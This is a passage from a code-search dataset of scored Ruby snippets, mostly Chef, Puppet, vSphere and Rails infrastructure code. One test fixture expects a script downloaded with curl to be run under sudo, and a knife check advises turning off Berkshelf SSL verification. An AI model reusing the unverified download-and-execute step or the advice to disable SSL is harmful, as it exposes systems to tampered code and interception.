bootstraping new nodes and is stored in .chef as validator.pem\")\n checkparm(:validation_client_name,\"validation_client_name is normally set to <orgname>-validator\")\n\n puts \"Check proxy configuration\"\n checkparm(:http_proxy,\"http_proxy should be set to a valid proxy like http://myproxy.ge.com:3128\")\n checkparm(:https_proxy,\"https_proxy should be set to a valid proxy like http://myproxy.ge.com:3128\")\n checkparm(:bootstrap_proxy,\"bootstrap_proxy should be set to a valid proxy like http://myproxy.ge.com:3128\")\n checkparm(:no_proxy,\"no_proxy should be set to exclude certain domains like *.ge.com from being proxied. Dont add wildcard subnets like 3.*\")\n\n puts \"Check GIT/Gerrit\"\n checkparm(:reviewhost,\"reviewhost should be set to the FQDN of your Gerrit server (leave out the http:// and the port number)\")\n\n # Check if GIT has a default username configured\n result=`git config --get user.name`.chomp\n if result.length < 1\n puts ui.color(\" the git user.name is not set. Add it using:-\", :red)\n puts ui.color(\" git config --global user.name <username>\", :magenta)\n else\n puts ui.color(\" the git user.name is set to #{result}\", :green)\n end\n\n # Check if GIT has a default email address configured\n result=`git config --get user.email`.chomp\n if result.length < 1\n puts ui.color(\" the git user.email is not set. Add it using:-\", :red)\n puts ui.color(\" git config --global user.email <email address>\", :magenta)\n else\n puts ui.color(\" the git user.email is set to #{result}\", :green)\n end\n\n # Check if the git core.autocrlf is set correctly (different on Windows and OSX... TODO: Check on Linux)\n result=`git config --get core.autocrlf`.chomp\n case result\n when 'input'\n if (RUBY_PLATFORM =~ /.*darwin.*/) or (RUBY_PLATFORM =~ /.*linux.*/)\n puts ui.color(\" the git core.autocrlf is set to 'input' which is correct for OSX or Linux systems\", :green)\n end\n if (RUBY_PLATFORM =~ /.*mingw.*/) or (RUBY_PLATFORM =~ /.*cygwin.*/)\n puts ui.color(\" the git core.autocrlf is set to 'input' but Windows/Linux should use 'true' to prevent line ending problems\", :red)\n end\n\n when 'true'\n if (RUBY_PLATFORM =~ /.*mingw.*/) or (RUBY_PLATFORM =~ /.*cygwin.*/)\n puts ui.color(\" the git core.autocrlf is set to 'true' which is correct for Windows/Cygwin\", :green)\n end\n if (RUBY_PLATFORM =~ /.*darwin.*/) or (RUBY_PLATFORM =~ /.*linux.*/)\n puts ui.color(\" the git core.autocrlf is set to 'true' but OSX/Linux should use 'input' to prevent line ending problems\", :red)\n end\n\n else\n puts ui.color(\" the git core.autocrlf is set to '#{result}'\", :red)\n puts ui.color(\" the git core.autocrlf should be set to 'input' (on OSX or Linux) or 'true' (on Windows) to prevent line ending problems\", :magenta)\n end\n\n # Check if we have a git remote called Gerrit.\n result=`git config --get remote.gerrit.url`.chomp\n if result.length < 1\n puts ui.color(\" we don't seem to have a git remote called gerrit.\", :red)\n puts ui.color(\" If we are in a project folder, check you have a valid .gitreview file and try running:-\", :red)\n puts ui.color(\" git review -s\", :magenta)\n else\n puts ui.color(\" the git remote for gerrit is set to #{result}\", :green)\n end\n\n # Check we have the settings to install Vagrant box templates and create Vagrant boxes\n # TODO: Add a check to make sure the box is installed and the URL is valid\n puts \"Check Vagrant\"\n checkparm(:vagrant_box,\"vagrant_box should be set to the name of your vagrant box\")\n checkparm(:vagrant_box_url,\"vagrant_box_url should point to a downloadable vagrant box\")\n\n puts \"Check berkshelf\"\n # Do we actually have a berks config\n berksConfigFile=File.expand_path(File.join('~','.berkshelf','config.json'))\n checkfile('Berkshelf Config',berksConfigFile,\"You dont have a Berkshelf config. Try running 'berks config'\")\n\n if ::File.exists?(berksConfigFile)\n berksConfigRaw=File.read(berksConfigFile)\n berksConfig=JSON.parse(berksConfigRaw)\n\n # Make sure that SSL verify is off\n if berksConfig['ssl']['verify'].to_s == 'false'\n puts ui.color(\" SSL verify is turned off\", :green)\n else\n puts ui.color(\" SSL verify is 'true'... you should set it to 'false' to allow connecting to Chef server\", :red)\n end\n \n # Check berks is using correct Chef server URL\n if berksConfig['chef']['chef_server_url'].to_s == config[:chef_server_url]\n puts ui.color(\" Berkshelf chef_server_url is '#{berksConfig['chef']['chef_server_url']}'\", :green)\n else\n puts ui.color(\" Berkshelf chef_server_url does not match knife.rb. It's set to '#{berksConfig['chef']['chef_server_url']}'\", :red)\n end\n\n # Check berks is using correct validator.pem\n if berksConfig['chef']['validation_key_path'].to_s == File.expand_path(config[:validation_key])\n puts ui.color(\" Berkshelf validation_key_path is '#{berksConfig['chef']['validation_key_path']}'\", :green)\n else\n puts ui.color(\" Berkshelf validation_key_path does not match knife.rb. It's set to '#{berksConfig['chef']['validation_key_path']}'\", :red)\n end\n\n # Check berks is using correct client.pem\n if berksConfig['chef']['client_key'].to_s == File.expand_path(config[:client_key])\n puts ui.color(\" Berkshelf client_key is '#{berksConfig['chef']['client_key']}'\", :green)\n else\n puts ui.color(\" Berkshelf client_key does not match knife.rb. It's set to '#{berksConfig['chef']['client_key']}'\", :red)\n end\n\n puts \"Done !!!\"\n\n end\n\n end",
"title": ""
},
{
"docid": "e50b6895f23f61814eca8a6a8ba19d89",
"score": "0.4459032",
"text": "def miqAlarmSpecEnabled\n VimHash.new(\"AlarmSpec\") do |as|\n as.name = @miqAlarmName\n as.description = \"#{MIQ_ALARM_PFX} alarm\"\n as.enabled = \"true\"\n as.expression = VimHash.new(\"StateAlarmExpression\") do |sae|\n sae.operator = StateAlarmOperator::IsEqual\n sae.statePath = \"runtime.powerState\"\n sae.type = @vmMor.vimType\n sae.yellow = \"poweredOn\"\n sae.red = \"suspended\"\n end\n as.action = VimHash.new(\"AlarmTriggeringAction\") do |aa|\n aa.green2yellow = \"true\"\n aa.yellow2red = \"false\"\n aa.red2yellow = \"true\"\n aa.yellow2green = \"false\"\n aa.action = VimHash.new(\"MethodAction\") { |aaa| aaa.name = \"SuspendVM_Task\" }\n end\n end\n end",
"title": ""
},
{
"docid": "69d18a876e3aa1273d139512acdf3c62",
"score": "0.4450331",
"text": "def create_request_from_facts\n kernel = ''\n os = ''\n arch = ''\n model_id = ''\n productname = ''\n manufacturer = ''\n datacenter = ''\n puppet_role = ''\n virtual = ''\n sys_class = 'Server'\n request = {}\n\n @facts.each do |data|\n\n certname = data['certname']\n environment = data['environment']\n fact_name = data['name']\n fact_value = data['value']\n\n if certname.downcase == @name.downcase\n\n if @environment.downcase != environment.downcase\n request['environment'] = environment.capitalize\n end\n\n if fact_name == 'kernel'\n kernel = fact_value\n end\n\n if fact_name == 'operatingsystem'\n os = fact_value\n end\n\n if (fact_name == 'macaddress') && (@mac_address != fact_value)\n request['mac_address'] = fact_value\n end\n\n if (fact_name == 'memorysize_mb')\n ram = fact_value.to_f.round(half: :up)\n if (@ram != ram.to_s)\n request['ram'] = ram.to_i\n end\n end\n\n if (fact_name == 'disks')\n disk_space = calculate_disk_space(fact_value)\n if (@disk_space != disk_space.to_s)\n request['disk_space'] = disk_space\n end\n end\n\n if (fact_name == 'dmi')\n serial = get_serial_number(fact_value)\n if (@serial_number != serial)\n request['serial_number'] = serial\n end\n end\n\n if (fact_name == 'operatingsystemrelease') && (@os_version != fact_value)\n request['os_version'] = fact_value\n end\n\n if (fact_name == 'domain') && (@dns_domain != fact_value)\n request['dns_domain'] = fact_value\n end\n\n if (fact_name == 'ipaddress') && (@ip_address != fact_value)\n request['ip_address'] = fact_value\n end\n\n if (fact_name == 'hostname') && (@host_name != fact_value)\n request['host_name'] = fact_value\n end\n\n if fact_name == 'cpuspeed'\n cpuspeed = fact_value.to_f.round(half: :up).to_i\n if (@cpu_speed != cpuspeed.to_s)\n request['cpu_speed'] = cpuspeed\n end\n end\n\n if (fact_name == 'processor0') && (@cpu_type != fact_value)\n request['cpu_type'] = fact_value\n end\n\n if (fact_name == 'processorcount') && (@cpu_count != fact_value.to_s)\n request['cpu_count'] = fact_value\n end\n\n if (fact_name == 'physicalprocessorcount') && (@cpu_core_count != fact_value.to_s)\n request['cpu_core_count'] = fact_value\n end\n\n if (fact_name == 'processorcount') && (@cpu_count != fact_value.to_s)\n request['cpu_count'] = fact_value\n end\n\n if (fact_name == 'manufacturer')\n mf = split_snow_hash(@manufacturer)\n mf_sys_id = mf[:value]\n manuf = get_manufacturer_name(mf_sys_id)\n\n if (manuf != fact_value)\n request['manufacturer'] = fact_value\n manufacturer = fact_value\n end\n end\n\n if (fact_name == 'defaultgateway') && (@default_gateway != fact_value)\n request['default_gateway'] = fact_value\n end\n\n if fact_name == 'architecture'\n arch = fact_value\n end\n\n if (fact_name == 'cpumanufacturer')\n mf = split_snow_hash(@cpu_manufacturer)\n mf_sys_id = mf[:value]\n manuf = get_manufacturer_name(mf_sys_id)\n if (manuf != fact_value)\n request['cpu_manufacturer'] = fact_value\n end\n end\n\n if (fact_name == 'uuid') && (@asset_tag != fact_value)\n request['asset_tag'] = fact_value\n end\n\n if fact_name == 'virtual'\n model_id = fact_value\n if fact_value == 'vmware'\n sys_class = 'VMware Virtual Machine Instance'\n end\n end\n\n if fact_name == 'productname'\n productname = fact_value\n end\n\n if fact_name == 'trusted'\n datacenter = get_datacenter(fact_value)\n puppet_role = get_puppet_role(fact_value)\n end\n end\n end\n\n if @os != \"#{kernel} #{os}\"\n request['os'] = \"#{kernel} #{os}\"\n end\n\n if arch == 'x86_64'\n os_address_width = 64\n elsif arch == 'i386'\n os_address_width = 32\n else\n os_address_width = ''\n end\n\n if @os_address_width != os_address_width.to_s\n request['os_address_width'] = os_address_width\n end\n\n data = \"#{manufacturer} #{productname}\"\n model_sys_id = get_model_sys_id(data)\n unless model_sys_id.nil?\n if @model_id != model_sys_id\n request['model_id'] = model_sys_id\n end\n end\n\n request = process_datacenter(datacenter, request)\n\n if @u_puppet_role != puppet_role\n request['u_puppet_role'] = puppet_role\n end\n\n if @u_last_puppet_run != @last_puppet_run_state\n request['u_last_puppet_run'] = @last_puppet_run_state\n end\n\n if @u_last_puppet_report != @last_puppet_report\n request['u_last_puppet_report'] = @last_puppet_report\n end\n\n unless request.empty?\n request['name'] = @name\n end\n\n request\n end",
"title": ""
},
{
"docid": "2eaff4025c090efe4049728b0a7b0421",
"score": "0.44480187",
"text": "def test_on_node\n spectre_cmd = <<~EO_BASH\n #{@deployer.instance_variable_get(:@actions_executor).connector(:ssh).ssh_user == 'root' ? '' : \"#{@nodes_handler.sudo_on(@node)} \"}/bin/bash <<'EOAction'\n #{File.read(\"#{__dir__}/spectre-meltdown-checker.sh\")}\n EOAction\n EO_BASH\n {\n spectre_cmd => {\n validator: proc do |stdout|\n VULNERABILITIES_TO_CHECK.each do |id, name|\n id_regexp = /#{Regexp.escape(id)}/\n status_idx = stdout.index { |line| line =~ id_regexp }\n if status_idx.nil?\n error \"Unable to find vulnerability section #{id}\"\n else\n status_idx += 1 while !stdout[status_idx].nil? && stdout[status_idx] !~ /STATUS:[^A-Z]+([A-Z ]+)/\n if stdout[status_idx].nil?\n error \"Unable to find vulnerability status for #{id}\"\n else\n status = Regexp.last_match(1).strip\n error \"Status for #{name}: #{status}\" if status != 'NOT VULNERABLE'\n end\n end\n end\n end,\n timeout: 30\n }\n }\n end",
"title": ""
},
{
"docid": "2013c774d3cc695048763e1927b3664d",
"score": "0.44478726",
"text": "def action_run\n notifying_block do\n # Top level directory for this test.\n directory new_resource.path do\n mode '777'\n end\n\n # Install and log the version.\n python_runtime new_resource.name do\n provider new_resource.runtime_provider if new_resource.runtime_provider\n version new_resource.version\n end\n test_version\n\n # Test python_package.\n python_package 'argparse' do\n # Needed for sqlparse but not in the stdlib until 2.7.\n python new_resource.name\n end\n python_package 'sqlparse remove before' do\n action :remove\n package_name 'sqlparse'\n python new_resource.name\n end\n test_import('sqlparse', 'sqlparse_before')\n python_package 'sqlparse' do\n python new_resource.name\n notifies :create, sentinel_file('sqlparse'), :immediately\n end\n test_import('sqlparse', 'sqlparse_mid')\n python_package 'sqlparse again' do\n package_name 'sqlparse'\n python new_resource.name\n notifies :create, sentinel_file('sqlparse2'), :immediately\n end\n python_package 'sqlparse remove after' do\n action :remove\n package_name 'sqlparse'\n python new_resource.name\n end\n test_import('sqlparse', 'sqlparse_after')\n\n # Use setuptools to test something that should always be installed.\n python_package 'setuptools' do\n python new_resource.name\n notifies :create, sentinel_file('setuptools'), :immediately\n end\n\n # Multi-package install.\n python_package ['pep8', 'pytz'] do\n python new_resource.name\n end\n test_import('pep8')\n test_import('pytz')\n\n # Create a virtualenv.\n python_virtualenv ::File.join(new_resource.path, 'venv') do\n python new_resource.name\n end\n\n # Install a package inside a virtualenv.\n python_package 'Pytest' do\n virtualenv ::File.join(new_resource.path, 'venv')\n end\n test_import('pytest')\n test_import('pytest', 'pytest_venv', python: nil, virtualenv: ::File.join(new_resource.path, 'venv'))\n\n # Create and install a requirements file.\n # Running this in a venv because of pip 8.0 and Ubuntu packaing\n # both requests and six.\n python_virtualenv ::File.join(new_resource.path, 'venv2') do\n python new_resource.name\n end\n file ::File.join(new_resource.path, 'requirements.txt') do\n content <<-EOH\nrequests==2.7.0\nsix==1.8.0\nEOH\n end\n pip_requirements ::File.join(new_resource.path, 'requirements.txt') do\n virtualenv ::File.join(new_resource.path, 'venv2')\n end\n test_import('requests', python: nil, virtualenv: ::File.join(new_resource.path, 'venv2'))\n test_import('six', python: nil, virtualenv: ::File.join(new_resource.path, 'venv2'))\n\n # Install a non-latest version of a package.\n python_virtualenv ::File.join(new_resource.path, 'venv3') do\n python new_resource.name\n end\n python_package 'requests' do\n version '2.8.0'\n virtualenv ::File.join(new_resource.path, 'venv3')\n end\n test_import('requests', 'requests_version', python: nil, virtualenv: ::File.join(new_resource.path, 'venv3'))\n\n # Don't run the user tests on Windows.\n unless node.platform_family?('windows')\n # Create a non-root user and test installing with it.\n test_user = \"py#{new_resource.name}\"\n test_home = ::File.join('', 'home', test_user)\n group 'g'+test_user do\n system true\n end\n user test_user do\n comment \"Test user for python_runtime_test #{new_resource.name}\"\n gid 'g'+test_user\n home test_home\n shell '/bin/false'\n system true\n end\n directory test_home do\n mode '700'\n group 'g'+test_user\n user test_user\n end\n test_venv = python_virtualenv ::File.join(test_home, 'env') do\n python new_resource.name\n user test_user\n end\n python_package 'docopt' do\n user test_user\n virtualenv test_venv\n end\n test_import('docopt', python: nil, virtualenv: test_venv, user: test_user)\n end\n\n end\n end",
"title": ""
},
{
"docid": "5e30bdb853be633de7dab838938ac32c",
"score": "0.44452673",
"text": "def check_resource_storage_state(type_resource,url,recent_hash)\n result=\"do_nothing\"\n case type_resource\n when \"event\"\n event=Event.where(:url=> url) \n if event.size > 0 \n puts event[0].hash_resource \n if event[0].hash_resource != recent_hash\n result=\"update\" \n end\n else\n result=\"insert\" \n end\n when \"application\"\n application=Application.where(:url=> url)\n if application.size > 0\n if application[0].hash_resource != recent_hash\n result=\"update\" \n end\n else\n result=\"insert\" \n end\n when \"person\"\n person=Person.where(:url=> url)\n if person.size > 0\n if person[0].hash_resource != recent_hash\n result=\"update\" \n end\n else\n result=\"insert\" \n end\n end\n return result\n end",
"title": ""
},
{
"docid": "ea21c94edcc2c83e31aceb2e9a3ad17d",
"score": "0.44397712",
"text": "def require_then?(in_pattern_node); end",
"title": ""
},
{
"docid": "889432f67af51b2ca10b10391170ad41",
"score": "0.44382778",
"text": "def expected_actions_to_deploy_chef(\n repository,\n check_mode: false,\n sudo: 'sudo -u root ',\n env: 'prod',\n policy: 'test_policy',\n node: 'node'\n )\n [\n {\n remote_bash: [\n 'set -e',\n 'set -o pipefail',\n \"if [ -n \\\"$(command -v apt)\\\" ]; then #{sudo}apt update && #{sudo}apt install -y curl build-essential ; else #{sudo}yum groupinstall 'Development Tools' && #{sudo}yum install -y curl ; fi\",\n 'mkdir -p ./hpc_deploy',\n 'rm -rf ./hpc_deploy/tmp',\n 'mkdir -p ./hpc_deploy/tmp',\n 'curl --location https://omnitruck.chef.io/install.sh --output ./hpc_deploy/install.sh',\n 'chmod a+x ./hpc_deploy/install.sh',\n \"#{sudo}TMPDIR=./hpc_deploy/tmp ./hpc_deploy/install.sh -d /opt/artefacts -v 17.0 -s once\"\n ]\n },\n {\n scp: { \"#{repository}/dist/#{env}/#{policy}\" => './hpc_deploy' },\n remote_bash: [\n 'set -e',\n \"cd ./hpc_deploy/#{policy}\",\n \"#{sudo}SSL_CERT_DIR=/etc/ssl/certs /opt/chef/bin/chef-client --local-mode --chef-license accept --json-attributes nodes/#{node}.json#{check_mode ? ' --why-run' : ''}\",\n 'cd ..',\n \"#{sudo}rm -rf ./hpc_deploy/#{policy}\"\n ]\n }\n ]\n end",
"title": ""
},
{
"docid": "f4e5d860674b116bd8586112e19fb35d",
"score": "0.44350278",
"text": "def check_schedule()\n create_daily_tests()\n create_weekly_tests()\n end",
"title": ""
},
{
"docid": "aefc8f75c880c1dba8f7e8313cf22039",
"score": "0.44290128",
"text": "def k_if!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 36 )\n\n\n\n type = K_IF\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 397:4: ( 'if' | 'when' )\n # at line 397:4: ( 'if' | 'when' )\n alt_10 = 2\n look_10_0 = @input.peek( 1 )\n\n if ( look_10_0 == 0x69 )\n alt_10 = 1\n elsif ( look_10_0 == 0x77 )\n alt_10 = 2\n else\n raise NoViableAlternative( \"\", 10, 0 )\n\n end\n case alt_10\n when 1\n # at line 397:5: 'if'\n match( \"if\" )\n\n\n when 2\n # at line 397:10: 'when'\n match( \"when\" )\n\n\n end\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 36 )\n\n\n end",
"title": ""
},
{
"docid": "191cdc720f987157cb29fd6e2d1470dd",
"score": "0.44271418",
"text": "def test_apply_failure_with_sensitive_resources_hides_template_content\n logger.level = 0\n Krane::Deployment.any_instance.expects(:sensitive_template_content?).returns(true).at_least_once\n result = deploy_fixtures(\"hello-cloud\", subset: [\"web.yml.erb\"], render_erb: true) do |fixtures|\n bad_port_name = \"http_test_is_really_long_and_invalid_chars\"\n svc = fixtures[\"web.yml.erb\"][\"Service\"].first\n svc[\"spec\"][\"ports\"].first[\"targetPort\"] = bad_port_name\n deployment = fixtures[\"web.yml.erb\"][\"Deployment\"].first\n deployment[\"spec\"][\"template\"][\"spec\"][\"containers\"].first[\"ports\"].first[\"name\"] = bad_port_name\n end\n assert_deploy_failure(result)\n refute_logs_match(%r{Kubectl err:.*something/invalid})\n\n assert_logs_match_all([\n \"Command failed: apply -f\",\n /Invalid template: Deployment-web.*\\.yml/,\n ])\n\n refute_logs_match(\"kind: Deployment\") # content of the sensitive template\n end",
"title": ""
},
{
"docid": "b8d1b7054ab3ba2705556f277e3bd4f1",
"score": "0.4420627",
"text": "def run(action, events, resource)\n if !@assertion_proc || !@assertion_proc.call\n @assertion_failed = true\n if Chef::Config[:why_run] && @whyrun_message\n events.provider_requirement_failed(action, resource, @exception_type, @failure_message)\n events.whyrun_assumption(action, resource, @whyrun_message) if @whyrun_message\n @resource_modifier.call if @resource_modifier\n else\n if @failure_message\n events.provider_requirement_failed(action, resource, @exception_type, @failure_message)\n raise @exception_type, @failure_message\n end\n end\n end\n end",
"title": ""
},
{
"docid": "c77193b33ac0a26f0a77f600b47ec9ea",
"score": "0.4411926",
"text": "def install_golang_package(resource_name)\n ChefSpec::Matchers::ResourceMatcher.new(:golang_package, :install, resource_name)\n end",
"title": ""
},
{
"docid": "49fab77244bdf1eb4f807598f3064fa3",
"score": "0.44067156",
"text": "def precondition(_op)\n # gain access to operation instance methods \n op = Operation.find(_op.id)\n \n # get params\n response_request = op.input(\"Response Request Message\").val\n response_regex = op.input(\"Response Regex Format\").val\n response_tag = op.input(\"Response Tag\").val\n response_status_tag = \"Response Block status\"\n response_level = op.input(\"Response Level\").val\n \n case response_level\n when \"Plan\"\n obj = _op.plan\n response_tag += \" [#{_op.id}]\"\n response_status_tag += \" [#{_op.id}]\"\n when \"Operation\"\n obj = _op\n when \"Item\"\n obj = _op.input(\"Sample\").item\n end\n \n # library method from ControlBlock (Could this interface be improved?)\n user_response = get_user_response(op, response_request_message: response_request, response_regex: response_regex)\n \n # if the user hasn't responded yet, fail and keep downstream operations in waiting\n return false if user_response.nil?\n \n # Response recieved!\n \n # associate response to the item being passed through\n obj.associate(response_tag, user_response)\n \n # associate note on operation to indicate that you cant retroactively change response\n op.associate \"Response Block status\", \"Your response was successfully recorded as \\\"#{user_response}\\\"\"\n \n # pass input, allowing downstream operations to begin\n op.pass(\"Sample\", \"Sample\")\n\n # set status to done, so this block will not be evaluated again\n op.status = \"done\"\n op.save\n \n return true\nend",
"title": ""
},
{
"docid": "9921ea642a03994ae907d09e94728d13",
"score": "0.43958423",
"text": "def seed_conditions\n template_conditions = [\"New\",\"Used\",\"Old\"]\n template_conditions.each do |condition|\n Condition.create(status: condition)\n end\n puts \"created conditions\"\nend",
"title": ""
},
{
"docid": "d04ea75885849237ac9d390ae3f0c872",
"score": "0.43924138",
"text": "def lint_template(template)\n results = rule_sets.map do |set|\n result = set.apply(template)\n unless result == true\n Smash.new(:rule_set => set, :failures => result)\n end\n end.compact\n results.empty? ? true : results\n end",
"title": ""
},
{
"docid": "579151d7bd7bf032121592247ca6cbe2",
"score": "0.43910933",
"text": "def check_chef(hostname)\n knife = Chef::Knife.new\n knife.config[:config_file] = File.join(ENV['HOME'], '.chef', 'knife.rb')\n knife.configure_chef\n search_query = Chef::Search::Query.new\n result = search_query.search(:node, \"name:#{hostname}\")\n \n if result.last > 0\n puts msg = \"Chef already has node #{hostname} registered. Skipping\"\n @logger.warn(msg)\n return false\n end\n return true\nend",
"title": ""
},
{
"docid": "d7f946ed4db81733e8a9615d2cad872e",
"score": "0.43849793",
"text": "def environment_matchers=(_arg0); end",
"title": ""
},
{
"docid": "e3da9c6b920cf89a8247297eaf40b8c8",
"score": "0.43791932",
"text": "def pre_run_check\n # Validate :triggers\n triggers = parameter(:triggers)\n triggers.value.each do |res|\n retrieve_resource_reference(res)\n rescue ArgumentError => e\n raise Puppet::Error, \"Parameter triggers failed: #{e} at #{@file}:#{@line}\"\n end\n\n package = self[:name]\n package_res = \"Package[#{package}]\"\n begin\n res = retrieve_resource_reference(package_res)\n package_in_catalog = true\n rescue ArgumentError\n package_in_catalog = false\n end\n\n if package_in_catalog\n if ['present', 'installed', 'latest'].include?(res['ensure'].to_s)\n Puppet.send('notice', \"#{package_res} (managed) will be updated by Patching_as_code\")\n catalog.resource(package_res)['ensure'] = 'latest'\n catalog.resource(package_res)['schedule'] = self[:patch_window]\n catalog.resource(package_res)['before'] = Array(catalog.resource(package_res)['before']) + ['Anchor[patching_as_code::patchday::end]']\n catalog.resource(package_res)['require'] = Array(catalog.resource(package_res)['require']) + ['Anchor[patching_as_code::patchday::start]']\n catalog.resource(package_res)['notify'] = Array(catalog.resource(package_res)['notify']) + triggers.value\n else\n Puppet.send('notice', \"#{package_res} (managed) will not be updated by Patching_as_code, due to the package enforcing a specific version\")\n end\n else\n Puppet.send('notice', \"#{package_res} (unmanaged) will be updated by Patching_as_code\")\n catalog.create_resource('package',\n title: package,\n ensure: 'latest',\n schedule: self[:patch_window],\n before: 'Anchor[patching_as_code::patchday::end]',\n require: 'Anchor[patching_as_code::patchday::start]',\n notify: triggers.value)\n end\n end",
"title": ""
},
{
"docid": "9d6b694cf8c0b47854b4f54c4167a628",
"score": "0.43780404",
"text": "def reboot_pending?\n # don't break when used as a mixin in contexts without #node (e.g. specs).\n if respond_to?(:node, true) && node.run_context.reboot_requested?\n true\n elsif platform?(\"windows\")\n # PendingFileRenameOperations contains pairs (REG_MULTI_SZ) of filenames that cannot be updated\n # due to a file being in use (usually a temporary file and a system file)\n # \\??\\c:\\temp\\test.sys!\\??\\c:\\winnt\\system32\\test.sys\n # http://technet.microsoft.com/en-us/library/cc960241.aspx\n registry_value_exists?(\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\", { name: \"PendingFileRenameOperations\" }) ||\n\n # RebootRequired key contains Update IDs with a value of 1 if they require a reboot.\n # The existence of RebootRequired alone is sufficient on my Windows 8.1 workstation in Windows Update\n registry_key_exists?('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update\\RebootRequired') ||\n\n # Vista + Server 2008 and newer may have reboots pending from CBS\n registry_key_exists?('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Component Based Servicing\\RebootPending')\n elsif platform_family?(\"debian\")\n File.exist?(\"/var/run/reboot-required\")\n else\n false\n end\n end",
"title": ""
}
] |
76c4592e6450696afdca284db5e9ecf6 | DELETE /physicians/1 DELETE /physicians/1.json | [
{
"docid": "8d28d88eb1e9c872ea887a44df96abea",
"score": "0.7784374",
"text": "def destroy\n @physician = Physician.find(params[:id])\n @physician.destroy\n\n respond_to do |format|\n format.html { redirect_to physicians_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] | [
{
"docid": "89d6dead86170adbed63c4cff4d8afda",
"score": "0.7794091",
"text": "def destroy\n @physician = Physician.find(params[:id])\n @physician.destroy\n\n respond_to do |format|\n format.html { redirect_to physicians_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "06d1874963bb6cf5411cb4239b9ab4fb",
"score": "0.75975543",
"text": "def destroy\n @physician.destroy\n \n head :no_content\n end",
"title": ""
},
{
"docid": "12419f39720c561f95b0e8376e0435c0",
"score": "0.7076015",
"text": "def destroy\n @physic = Physic.find(params[:id])\n @physic.destroy\n\n respond_to do |format|\n format.html { redirect_to physics_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ee861136ef8d7b90e34af1228112c15c",
"score": "0.7031697",
"text": "def destroy\n @physio.destroy\n respond_to do |format|\n format.html { redirect_to physios_url, notice: 'Physio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "83d724552fa930472cd986538884720c",
"score": "0.70056605",
"text": "def destroy\n @optician = Optician.find(params[:id])\n @optician.destroy\n\n respond_to do |format|\n format.html { redirect_to opticians_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d84495df46a4fd09d8982cf2a94ccfdd",
"score": "0.6943625",
"text": "def destroy\n @clinician = Clinician.find(params[:id])\n @clinician.destroy\n\n respond_to do |format|\n format.html { redirect_to clinicians_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "529726883d8bb91fa299f893fb600f20",
"score": "0.69028425",
"text": "def destroy\n @hospital = Hospital.find(params[:id])\n @hospital.destroy\n\n respond_to do |format|\n format.html { redirect_to hospitals_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d5cf34e170d098a504ddcc8c973ceee0",
"score": "0.6860388",
"text": "def destroy\n @hospitalization = Hospitalization.find(params[:id])\n @hospitalization.destroy\n\n respond_to do |format|\n format.html { redirect_to client_hospitalizations_url(@client) }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9ce24350000ef3e68e55445fd5e3a509",
"score": "0.6856003",
"text": "def destroy\n @personal.destroy\n respond_to do |format|\n format.html { redirect_to personals_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f2c45497bf2636704c5ebc0660a280d1",
"score": "0.6846571",
"text": "def destroy\n @politician.destroy\n respond_to do |format|\n format.html { redirect_to politicians_url, notice: 'Politician was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8677716483d0118472aa081318f26546",
"score": "0.6829513",
"text": "def destroy\n @persona = Persona.find(params[:id])\n @persona.destroy\n\n respond_to do |format|\n format.json { head :ok }\n end\n \n end",
"title": ""
},
{
"docid": "e61eeadde4409dbc92d46599d5e6abf2",
"score": "0.68217796",
"text": "def destroy\n @occupant = Occupant.find(params[:id])\n @occupant.destroy\n\n respond_to do |format|\n format.html { redirect_to occupants_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bf48a0a9549e5eee828fbf7e578faede",
"score": "0.67843825",
"text": "def destroy\n @clinician.destroy\n respond_to do |format|\n format.html { redirect_to clinicians_url, notice: 'Clinician was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2d71b5c4468e2dd702a3fa489722c3e8",
"score": "0.6782051",
"text": "def destroy\n @admins_politician.destroy\n respond_to do |format|\n format.html { redirect_to admins_politicians_url, notice: 'Politician was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4bb2e4ceccb50a9ae218ba3382730190",
"score": "0.67594767",
"text": "def destroy\n @personal_info = PersonalInfo.find(params[:id])\n @personal_info.destroy\n\n respond_to do |format|\n format.html { redirect_to personal_info_index_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e5799f918c829d2d7fa613a33caa5b05",
"score": "0.67453927",
"text": "def destroy\n @pharmacy.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "488f46974b1226289163b7202161c953",
"score": "0.6741738",
"text": "def destroy\n if not check_logged_in then\n return\n end\n @personal_plant = PersonalPlant.find(params[:id])\n @personal_plant.destroy\n\n respond_to do |format|\n format.html { redirect_to personal_plants_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8991e2409396a96d780fd6c0e0a2b1ac",
"score": "0.67390156",
"text": "def destroy\n @person.skills.delete_all\n \n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d760aed0130ab00851b5cdf3075418de",
"score": "0.672772",
"text": "def destroy\n @mostsmallmission = Mostsmallmission.find(params[:id])\n @mostsmallmission.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallmissions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
